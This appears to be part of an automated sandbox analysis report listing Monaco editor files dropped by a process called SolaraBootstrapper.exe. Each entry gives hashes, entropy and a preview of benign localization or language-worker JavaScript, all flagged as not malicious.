SSDEEP:	1536:v6bTYMJ6KrgZyxa+q2eqfhRVxX/Z85PIJGJOluS18Cpy27w/PNUfeOBCHTwYu7Ez:v6Se03Y1w4lP8C8XNUfeOBCHTwYus
MD5:	71784F7AD71ADD554B3629F5470D0692
SHA1:	796A222F77085EFD67C8F23507D281FB5531A376
SHA-256:	7EECEC9290D4CE0E6ED84629DB0D4F1FA579BF747DAFDEABA07B0FCCCDBCA260
SHA-512:	868FBD79D01AF384694AA12CE284C861DA91677F9D0668223B1C5C40C9ABF3979506A09466FF5891123228507474BFDEFD72CEFC6BB675AC632F045A95E6C99F
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/vscode/blob/main/LICENSE.txt. -----------------------------------------------------------/define("vs/editor/editor.main.nls.es",{"vs/base/browser/ui/actionbar/actionViewItems":["{0} ({1})"],"vs/base/browser/ui/findinput/findInput":["entrada"],"vs/base/browser/ui/findinput/findInputToggles":["Coincidir may\xFAsculas y min\xFAsculas","Solo palabras completas","Usar expresi\xF3n regular"],"vs/base/browser/ui/findinput/replaceInput":["entrada","Conservar may/min"],"vs/base/browser/ui/hover/hoverWidget":["Inspeccione esto en la vista accesible con {0}.","Inspeccione esto en la vista accesible mediante el comando Abrir vista accesible, que actualmente no se puede desencadenar mediante el enlace de teclado."],"vs/base/browser/ui/iconLabel/iconL

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\editor\editor.main.nls.fr.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (44787)
Category:	dropped
Size (bytes):	132590
Entropy (8bit):	4.841326964831083
Encrypted:	false
SSDEEP:	3072:8iXE5C6UVSSYHxGLrsWwkuJDLZLkjF/ntOkpApBWblyNqAv:8+E5CxVSSYHxGLrsWwkuJDLZLkjF/ntC
MD5:	CE87798DE13EE0DB8D3C93CBD4B71FF3
SHA1:	B2906F0F64437B5FB7E17BFCCC2FA86EB11FCF95
SHA-256:	40CC5F86D28DAC219AD76B3B93217147524E9A586497425FB1C7E8946BDF8D39
SHA-512:	405B32ED300BE9267A6C84987A1060D24783FB0D1396FBFA9B7DB7F5E6FB30F845B017BC602E81A39B1CF3DF0624AB81E853810E6205F3071EB8701A7A9F1735
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/vscode/blob/main/LICENSE.txt. -----------------------------------------------------------/define("vs/editor/editor.main.nls.fr",{"vs/base/browser/ui/actionbar/actionViewItems":["{0} ({1})"],"vs/base/browser/ui/findinput/findInput":["entr\xE9e"],"vs/base/browser/ui/findinput/findInputToggles":["Respecter la casse","Mot entier","Utiliser une expression r\xE9guli\xE8re"],"vs/base/browser/ui/findinput/replaceInput":["entr\xE9e","Pr\xE9server la casse"],"vs/base/browser/ui/hover/hoverWidget":["Inspectez ceci dans l\u2019affichage accessible avec {0}.","Inspectez ceci dans l\u2019affichage accessible via la commande Open Accessible View qui ne peut pas \xEAtre d\xE9clench\xE9e via une combinaison de touches pour l\u2019instant."],"vs/base/brow

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\editor\editor.main.nls.it.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (43664)
Category:	dropped
Size (bytes):	122777
Entropy (8bit):	4.5914056633321945
Encrypted:	false
SSDEEP:	3072:OKGy/Bb8cFU25gOUJq2F91J1qn4X5NeEdhkO:OKGy/TgOoq2F91J1qn4X5N/h
MD5:	DE2806331A04CDE2CCD83E24E66D8AEC
SHA1:	05C726AFB6FBDBAFC3C589C35EF2F5BC4746F226
SHA-256:	4415CBA01EF4ECC312385A39F3D6F43AD6C3C8B33ACB9CBF0C0B95A3A21B352A
SHA-512:	95BC6B5D106B14FA5E512110142E60D61A37A37AC5FD3FD15A9BBD0CAA8C00DE0731351E171AD5EBF8DC7B82A3EC9BA87FE5BF371A98DDB99D99C60D8452A407
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/vscode/blob/main/LICENSE.txt. -----------------------------------------------------------/define("vs/editor/editor.main.nls.it",{"vs/base/browser/ui/actionbar/actionViewItems":["{0} ({1})"],"vs/base/browser/ui/findinput/findInput":["input"],"vs/base/browser/ui/findinput/findInputToggles":["Maiuscole/minuscole","Parola intera","Usa espressione regolare"],"vs/base/browser/ui/findinput/replaceInput":["input","Mantieni maiuscole/minuscole"],"vs/base/browser/ui/hover/hoverWidget":["Ispezionarlo nella visualizzazione accessibile con {0}.","Ispezionarlo nella visualizzazione accessibile tramite il comando Apri visualizzazione accessibile che attualmente non \xE8 attivabile tramite il tasto di scelta rapida."],"vs/base/browser/ui/iconLabel/iconL

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\editor\editor.main.nls.ja.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (37895)
Category:	dropped
Size (bytes):	248590
Entropy (8bit):	4.103026864780491
Encrypted:	false
SSDEEP:	3072:b09KeywS3HZmYLPP/qqvYA3y3HFKi03vuPPWffQvCEwmGX1qs2HESNJ9Bg6rf8vg:b0QeV2APfaEwNqs2HESNHBg6rfIZS
MD5:	66266DBB1DBAC1A55417DC3BCD4F76CA
SHA1:	553F3CF7D1FB64E6BD3FC258CA263E14561299C1
SHA-256:	7FFA7603CB71B964D6EED22F604C51BBEFBE560FCDCD309E2668D74B6082EEA3
SHA-512:	515C6A8708A7C1985C67F483BD31C24E2136F78CCD1C010F4D736A97EE9A82259E87BCDD4B4EC5EB4F5516D5D781533C01B4B33171570DF0797C5F8FF155EE99
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/vscode/blob/main/LICENSE.txt. -----------------------------------------------------------/define("vs/editor/editor.main.nls.ja",{"vs/base/browser/ui/actionbar/actionViewItems":["{0} ({1})"],"vs/base/browser/ui/findinput/findInput":["\u5165\u529B"],"vs/base/browser/ui/findinput/findInputToggles":["\u5927\u6587\u5B57\u3068\u5C0F\u6587\u5B57\u3092\u533A\u5225\u3059\u308B","\u5358\u8A9E\u5358\u4F4D\u3067\u691C\u7D22\u3059\u308B","\u6B63\u898F\u8868\u73FE\u3092\u4F7F\u7528\u3059\u308B"],"vs/base/browser/ui/findinput/replaceInput":["\u5165\u529B","\u4FDD\u6301\u3059\u308B"],"vs/base/browser/ui/hover/hoverWidget":["{0} \u3092\u4F7F\u7528\u3057\u3066\u3001\u30E6\u30FC\u30B6\u30FC\u88DC\u52A9\u5BFE\u5FDC\u306E\u30D3\u30E5\u30FC\u3067\u3053\u308C\

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\editor\editor.main.nls.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (34260)
Category:	dropped
Size (bytes):	96161
Entropy (8bit):	4.746330637275266
Encrypted:	false
SSDEEP:	1536:EbYdRy64vmFxsnLqWkYKqkSJHVepbXqZGD:Ese6+aWERbgGD
MD5:	E856E8CB66EA2DD27483F82FCBC923B8
SHA1:	20BDCDDF8838E09A317A66F763830DAFD200409A
SHA-256:	76882F9F1CA076A810CC44891FC00E6C3922D51D8C2D41C5093B016EEAA401CD
SHA-512:	F189758BC0B42644D9452DC49BF91C0CFB8196052E17A89DA50F4AD32FBCFE317FB51B95782EA8FF9F57522E6E8BA81C2343DF46DB5C06BB6A5F6719B765199D
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/vscode/blob/main/LICENSE.txt. -----------------------------------------------------------/define("vs/editor/editor.main.nls",{"vs/base/browser/ui/actionbar/actionViewItems":["{0} ({1})"],"vs/base/browser/ui/findinput/findInput":["input"],"vs/base/browser/ui/findinput/findInputToggles":["Match Case","Match Whole Word","Use Regular Expression"],"vs/base/browser/ui/findinput/replaceInput":["input","Preserve Case"],"vs/base/browser/ui/hover/hoverWidget":["Inspect this in the accessible view with {0}.","Inspect this in the accessible view via the command Open Accessible View which is currently not triggerable via keybinding."],"vs/base/browser/ui/iconLabel/iconLabelHover":["Loading..."],"vs/base/browser/ui/inputbox/inputBox":["Error: {0}","Wa

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\editor\editor.main.nls.ko.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (33640)
Category:	dropped
Size (bytes):	205419
Entropy (8bit):	4.345887338395298
Encrypted:	false
SSDEEP:	1536:zY/SJerStsyiGgOqomKaWQteqQ+LtXlcxSc8ts:zY/SJVo/omKaW1+Lc
MD5:	8032847C134D186D4D4BC11FBA7C7E7A
SHA1:	DAD9EC2AB130A829D446E9EFC0C7B3D0FC3BFEE7
SHA-256:	67329CA30FE98668B295DCFD19FCFB8958815E56342E750655D9AEB876878847
SHA-512:	199D31E182BE28032AB25E0E7B0A12F5E43C09DF6BAC05746C387DDAC76E41B96980FB83DA3EE0ACA4C36AFB05E6D2C0419A958476DBA6DDE0563A1DA242A5DA
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/vscode/blob/main/LICENSE.txt. -----------------------------------------------------------/define("vs/editor/editor.main.nls.ko",{"vs/base/browser/ui/actionbar/actionViewItems":["{0}({1})"],"vs/base/browser/ui/findinput/findInput":["\uC785\uB825"],"vs/base/browser/ui/findinput/findInputToggles":["\uB300/\uC18C\uBB38\uC790 \uAD6C\uBD84","\uB2E8\uC5B4 \uB2E8\uC704\uB85C","\uC815\uADDC\uC2DD \uC0AC\uC6A9"],"vs/base/browser/ui/findinput/replaceInput":["\uC785\uB825","\uB300/\uC18C\uBB38\uC790 \uBCF4\uC874"],"vs/base/browser/ui/hover/hoverWidget":["{0}\uC744(\uB97C) \uC0AC\uC6A9\uD558\uC5EC \uC811\uADFC\uC131 \uBCF4\uAE30\uC5D0\uC11C \uC774\uB97C \uAC80\uC0AC\uD569\uB2C8\uB2E4.","\uD604\uC7AC \uD0A4 \uBC14\uC778\uB529\uC744 \uD1B5\uD574 \uD2B8

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\editor\editor.main.nls.ru.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (65256)
Category:	dropped
Size (bytes):	512190
Entropy (8bit):	3.409453617012253
Encrypted:	false
SSDEEP:	384:hBi0XabI1Z2da5y+kjn17ZrTUP74318KyttyHAUvx/ANtavPCvHyhrDLOHZ:ziomdh7f/8KIUgavPKHjZ
MD5:	E33A2DB9AC2082189C6D7BE83A23EE01
SHA1:	28FA0F79125C500B3D53D2E9E9212D4EF002F3A6
SHA-256:	E217A9B5823906A09E8CA0204A614319AA03607B54836FD9C616FCBFEC8861CD
SHA-512:	DBE3D3A4E6D618308A97C856DBFF22CA9F768D476EBAC3CDF7349A294E9B68D5EE53EE1A95DA5122DE9DF6A8D1EC8B03506F027DDF05309CDFE14589763FF01E
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/vscode/blob/main/LICENSE.txt. -----------------------------------------------------------/define("vs/editor/editor.main.nls.ru",{"vs/base/browser/ui/actionbar/actionViewItems":["{0} ({1})"],"vs/base/browser/ui/findinput/findInput":["\u0432\u0445\u043E\u0434\u043D\u044B\u0435 \u0434\u0430\u043D\u043D\u044B\u0435"],"vs/base/browser/ui/findinput/findInputToggles":["\u0421 \u0443\u0447\u0435\u0442\u043E\u043C \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430","\u0421\u043B\u043E\u0432\u043E \u0446\u0435\u043B\u0438\u043A\u043E\u043C","\u0418\u0441\u043F\u043E\u043B\u044C\u0437\u043E\u0432\u0430\u0442\u044C \u0440\u0435\u0433\u0443\u043B\u044F\u0440\u043D\u043E\u0435 \u0432\u044B\u0440\u0430\u0436\u0435\u043D\u0438\u0435"],"vs/base/browser/ui/

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\editor\editor.main.nls.zh-cn.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (40875)
Category:	dropped
Size (bytes):	156056
Entropy (8bit):	4.447840061328009
Encrypted:	false
SSDEEP:	3072:RuZssuS8LFLbssbnEOTkh8iPbT6UwdFu/XcoR6+DNWnxrodZNIPQuHyyuHvl33QR:RuOsuS8LFLbssbni8iPbT6UwdFu/Xcoq
MD5:	F5D2299434D75FD3EF381520A7942A9D
SHA1:	9F14138C8C47B1EF3F2883FABE46C8553F0EEB41
SHA-256:	43F6B0598C4492D89246F357D3DCA7CC8BFA6A5E100588C9566BC6F5C8E144DF
SHA-512:	BEEA0ECB22107B9F449FD73FC1DD1F6D510CCCD7D1E34177978CAE906CB0759AA05BD4EAC5FF8FE9206F75A116F89659717E08C89A7D0D51F21B4A2693946FD0
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/vscode/blob/main/LICENSE.txt. -----------------------------------------------------------/define("vs/editor/editor.main.nls.zh-cn",{"vs/base/browser/ui/actionbar/actionViewItems":["{0} ({1})"],"vs/base/browser/ui/findinput/findInput":["\u8F93\u5165"],"vs/base/browser/ui/findinput/findInputToggles":["\u533A\u5206\u5927\u5C0F\u5199","\u5168\u5B57\u5339\u914D","\u4F7F\u7528\u6B63\u5219\u8868\u8FBE\u5F0F"],"vs/base/browser/ui/findinput/replaceInput":["\u8F93\u5165","\u4FDD\u7559\u5927\u5C0F\u5199"],"vs/base/browser/ui/hover/hoverWidget":["\u5728\u8F85\u52A9\u89C6\u56FE\u4E2D\u7528 {0} \u68C0\u67E5\u6B64\u9879\u3002","\u901A\u8FC7\u547D\u4EE4\u201C\u6253\u5F00\u8F85\u52A9\u89C6\u56FE\u201D\u5728\u8F85\u52A9\u89C6\u56FE\u4E2D\u68C0\u67E5\u6B64

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\editor\editor.main.nls.zh-tw.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (40746)
Category:	dropped
Size (bytes):	159246
Entropy (8bit):	4.461787497354141
Encrypted:	false
SSDEEP:	3072:RFwTmchBa88aTKkO+VfjEtIzz+8o6yrlluOg38rI2ouGFJlngTn/oo3lkA97XO6n:RFSmEa88aTKkO+VfjEtIv+8o6yrlluOV
MD5:	C7A5C4564274089F5C1A17F0DA4EB8A1
SHA1:	467F1B3F6B2B7155159FC4A9147B8BF88A74C679
SHA-256:	E3C5FA966E4B589FEFC683383BFEB92ECB5684EBB67B0F9EA3D2ABE51FA5D083
SHA-512:	CF064B4749C766B153B8FB4EC6AF038E75E66099FB2031418352B1496CDB51661625AEBC12011DE3C7D0A9A7AF0CC6F7972A61A760FF1EA2A38B9C869A4E1DDB
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/vscode/blob/main/LICENSE.txt. -----------------------------------------------------------/define("vs/editor/editor.main.nls.zh-tw",{"vs/base/browser/ui/actionbar/actionViewItems":["{0} ({1})"],"vs/base/browser/ui/findinput/findInput":["\u8F38\u5165"],"vs/base/browser/ui/findinput/findInputToggles":["\u5927\u5C0F\u5BEB\u9808\u76F8\u7B26","\u5168\u5B57\u62FC\u5BEB\u9808\u76F8\u7B26","\u4F7F\u7528\u898F\u5247\u904B\u7B97\u5F0F"],"vs/base/browser/ui/findinput/replaceInput":["\u8F38\u5165","\u4FDD\u7559\u5927\u5C0F\u5BEB"],"vs/base/browser/ui/hover/hoverWidget":["\u4F7F\u7528 {0} \u5728\u53EF\u5B58\u53D6\u6AA2\u8996\u4E2D\u6AA2\u67E5\u6B64\u9805\u76EE\u3002","\u900F\u904E\u76EE\u524D\u7121\u6CD5\u900F\u904E\u6309\u9375\u7E6B\u7D50\u95DC\u4FC2

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\language\css\cssMode.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (22168)
Category:	dropped
Size (bytes):	34290
Entropy (8bit):	5.148121198098938
Encrypted:	false
SSDEEP:	768:1TdhLLs17kT2fyWNbR0C6pM38fDs5fhfK4m4g1KOMbxboqqNdImiuN8FCIgaz4:xdhLLs17kT2fyWNbR0C6O8fI5pf/g1KO
MD5:	F745889C28BFA41DC4638ABD76BC63A0
SHA1:	B0B1A018CD38D8FFA4F7AD3D6CA9C8CA98F03783
SHA-256:	CCFE978A6FF7AE2044D817F846FF0E157B9C088BAD6ED504E257975BE5CDBC90
SHA-512:	4120430F11620926201BE6CA6D83E77EABA12ABADC898DDA31112F5EED8F0CFA110D824DDB19E71DABAA7F871261279A2D1FDD0AD5EDAA72FAF6EB360038DDF7
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/language/css/cssMode", ["require","require"],(require)=>{.var moduleExports=(()=>{var en=Object.create;var Y=Object.defineProperty;var nn=Object.getOwnPropertyDescriptor;var tn=Object.getOwnPropertyNames;var rn=Object.getPrototypeOf,on=Object.prototype.hasOwnProperty;var sn=(n=>typeof require!="undefined"?require:typeof Proxy!="undefined"?new Proxy(n,{get:(t,i)=>(typeof require!="undefined"?require:t)[i]}):n)(function(n){if(typeof require!="undefined")return require.apply(this,arguments);throw new Error('Dynamic require of "'+n+'" is not supported')});var an=(n,t)=>()=>(t\|\|n((t={exp

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\language\css\cssWorker.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (56978)
Category:	dropped
Size (bytes):	776551
Entropy (8bit):	5.133064010019546
Encrypted:	false
SSDEEP:	6144:4iU561RpkfrQxEXMfGEGUREYQ4CgC4q5mL6rQN77EPIkRxIjPNlObQp6RxIjPNlX:4iUgVECEY/FpbTGMlJ
MD5:	DBE76882780275B00F45EEAAB8EBE525
SHA1:	2CD94B0E7BBC96A65A4868AF2D06A0511D454B37
SHA-256:	F81E2ADF4A550E3D89038A64EF1BD32C0ACCA59C7D7732A461E5736A02312859
SHA-512:	08A6E2C7C4631BEC87EA2B1AFA8CABC5509F43A0EE905FA151F86F13E1617AD1DF2D7D17599079A221D70DF687ACC0C42275724B766A73DF0567BD1164B32BF0
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/language/css/cssWorker", ["require","require"],(require)=>{.var moduleExports=(()=>{var $n=Object.defineProperty;var ds=Object.getOwnPropertyDescriptor;var hs=Object.getOwnPropertyNames;var ps=Object.prototype.hasOwnProperty;var us=(n,e)=>{for(var t in e)$n(n,t,{get:e[t],enumerable:!0})},ms=(n,e,t,r)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let i of hs(e))!ps.call(n,i)&&i!==t&&$n(n,i,{get:()=>e[i],enumerable:!(r=ds(e,i))\|\|r.enumerable});return n};var fs=n=>ms($n({},"__esModule",{value:!0}),n);var sl={};us(sl,{CSSWorker:()=>Vn,create:()=>ol});var d;(function(n){n[n.Ident=

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\language\html\htmlMode.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (22185)
Category:	dropped
Size (bytes):	34826
Entropy (8bit):	5.1514142212484595
Encrypted:	false
SSDEEP:	768:VXtzaTmFu7CY3z/Z9iOC6PP+oqpc0BbbCvJOgFIOgv/tqANdIROg5FHvgYnk:JtzaTmFu7CY3z/Z9iOC6nqprpb7gFIOS
MD5:	BEBB50C47D36FA8DA0A6C213A2AA8A81
SHA1:	9C3BA8FEEDE7B340C4405199C42A12418A1B0F27
SHA-256:	C00B1F2F6065C5022D60D8C46828CB726834E9D3A455BDC89780D41748B3B26C
SHA-512:	A5920563B31F9A6612E08E04205FF559EE2A5605247C6C310532EAA66906C8BB541D1B811F421D296CC85F5FAC6748F7E4833BE9A44AEDB129A4E61449CD2844
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/language/html/htmlMode", ["require","require"],(require)=>{.var moduleExports=(()=>{var nn=Object.create;var Q=Object.defineProperty;var tn=Object.getOwnPropertyDescriptor;var rn=Object.getOwnPropertyNames;var on=Object.getPrototypeOf,sn=Object.prototype.hasOwnProperty;var an=(n=>typeof require!="undefined"?require:typeof Proxy!="undefined"?new Proxy(n,{get:(t,i)=>(typeof require!="undefined"?require:t)[i]}):n)(function(n){if(typeof require!="undefined")return require.apply(this,arguments);throw new Error('Dynamic require of "'+n+'" is not supported')});var un=(n,t)=>()=>(t\|\|n((t={e

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\language\html\htmlWorker.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (29832)
Category:	dropped
Size (bytes):	445890
Entropy (8bit):	5.308476409497889
Encrypted:	false
SSDEEP:	6144:LE/xGvIWtISKIGMviS6cryT7xDiTvZErkBzsppmDWSKZZg4LLoVxpmZG6M:LQBMHFyT7wTvZ9spY1Y4
MD5:	0A3EF149B462E2EFFFB3FC5760F70CAD
SHA1:	6FEB219B4258D345760D508FD89972E4F7B3FF0F
SHA-256:	8C8F5BDBDB7B31CD16CDBDFFBF99AAEDBA8790B3016E7156F18D5BAA8A33C37E
SHA-512:	0E0CDD2CDA741A50695A9C9CA4E76C442538206E1E9442D0628AF5546FEAFEE222AD815EA8DAD5372978CD7480E7D02812686B341527F2A3A0A9D3593FE228E7
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/language/html/htmlWorker", ["require","require"],(require)=>{.var moduleExports=(()=>{var Xe=Object.defineProperty;var xn=Object.getOwnPropertyDescriptor;var Dn=Object.getOwnPropertyNames;var En=Object.prototype.hasOwnProperty;var Cn=(t,i)=>{for(var o in i)Xe(t,o,{get:i[o],enumerable:!0})},Ln=(t,i,o,n)=>{if(i&&typeof i=="object"\|\|typeof i=="function")for(let e of Dn(i))!En.call(t,e)&&e!==o&&Xe(t,e,{get:()=>i[e],enumerable:!(n=xn(i,e))\|\|n.enumerable});return t};var Mn=t=>Ln(Xe({},"__esModule",{value:!0}),t);var Ri={};Cn(Ri,{HTMLWorker:()=>Je,create:()=>Mi});function Rn(t,i){let o;ret

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\language\json\jsonMode.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (22282)
Category:	dropped
Size (bytes):	40280
Entropy (8bit):	5.2120048185170855
Encrypted:	false
SSDEEP:	768:m1xy5SyJXG86eBobgC6R38qLqX08NwErOqPxzO6ADZWOJ5P/jZ7iMogBlfS47FLs:m1xy5SyJXG86eBobgC6RsqLqEoOUO/PA
MD5:	EC67857A52845514B6C8D064D4FB5A2F
SHA1:	9591B312E7E942D992F3931D58487794101DE2A2
SHA-256:	76AC56F40DC8FF457D7033EA2EA06BBB82AC89EFA1B8E8A37609A40CC0E4950D
SHA-512:	B50B535D28A7903A8F051D99FDE73B0FC624BF82415D898577D9FF1E40317865E5F9708FE227864A0A30E710D813E113011E976329258047BA79BDD4EFB69E00
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/language/json/jsonMode", ["require","require"],(require)=>{.var moduleExports=(()=>{var Tn=Object.create;var ie=Object.defineProperty;var bn=Object.getOwnPropertyDescriptor;var Cn=Object.getOwnPropertyNames;var wn=Object.getPrototypeOf,In=Object.prototype.hasOwnProperty;var xn=(e=>typeof require!="undefined"?require:typeof Proxy!="undefined"?new Proxy(e,{get:(t,i)=>(typeof require!="undefined"?require:t)[i]}):e)(function(e){if(typeof require!="undefined")return require.apply(this,arguments);throw new Error('Dynamic require of "'+e+'" is not supported')});var En=(e,t)=>()=>(t\|\|e((t={

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\language\json\jsonWorker.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (29891)
Category:	dropped
Size (bytes):	128871
Entropy (8bit):	5.377103877688578
Encrypted:	false
SSDEEP:	1536:kuTrGk9g+mZRjk3f7rsPPnD39yKqaGL52So2tG2:kCQA3UPPnDboF
MD5:	0B85DFFC548CCE9F63EC3131A065DBB7
SHA1:	C48FED5485D2410901282F7A27CF674A1D5E7D97
SHA-256:	6F33C33A4EFE691E75008435430C80BD76F8B88726F69E4C22582A16D6A4A135
SHA-512:	D471BBD73FA6390A28218A9826C1BF990DEF1ADCFA1917086261AF77D04355009AA66545AC6B77E58F3A93A5C18DA258E1555842FCF205B768BAA45401FA2B5A
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/language/json/jsonWorker", ["require","require"],(require)=>{.var moduleExports=(()=>{var lt=Object.defineProperty;var Hr=Object.getOwnPropertyDescriptor;var Gr=Object.getOwnPropertyNames;var Xr=Object.prototype.hasOwnProperty;var Zr=(t,r)=>{for(var i in r)lt(t,i,{get:r[i],enumerable:!0})},Qr=(t,r,i,e)=>{if(r&&typeof r=="object"\|\|typeof r=="function")for(let n of Gr(r))!Xr.call(t,n)&&n!==i&&lt(t,n,{get:()=>r[n],enumerable:!(e=Hr(r,n))\|\|e.enumerable});return t};var Yr=t=>Qr(lt({},"__esModule",{value:!0}),t);var _n={};Zr(_n,{JSONWorker:()=>st,create:()=>Bn});function Pe(t,r){r===void

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\language\typescript\tsMode.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (9629)
Category:	dropped
Size (bytes):	23674
Entropy (8bit):	5.285703965037481
Encrypted:	false
SSDEEP:	384:GPWM9xPrt4cS7Z/45e+tbxGw5gcD/Hpx2+MnOgxoiZI0ySrwrHr8VjnBFHfyMV9g:mWM9xPrt4cS7Z/45e+tHJ/Hqny+yrHII
MD5:	0B9FC31A9418E3B934A5605621434A9B
SHA1:	CC6A27B9C97B78F4B0A68433828756A8AAAC87B4
SHA-256:	6404114A7EBDAF7F7F1ACA882219FD6CE140B20675003C6BBCE48154BA378053
SHA-512:	F57B78C961AAE9E36D128A0FB89060F5297D9675972EA83E0E2D089E0D114BA1BEE086695EB8ACC4244EE3D5AABCDD84FEDB0CDE831A2CCD0F789A83B57E1D6F
Malicious:	false
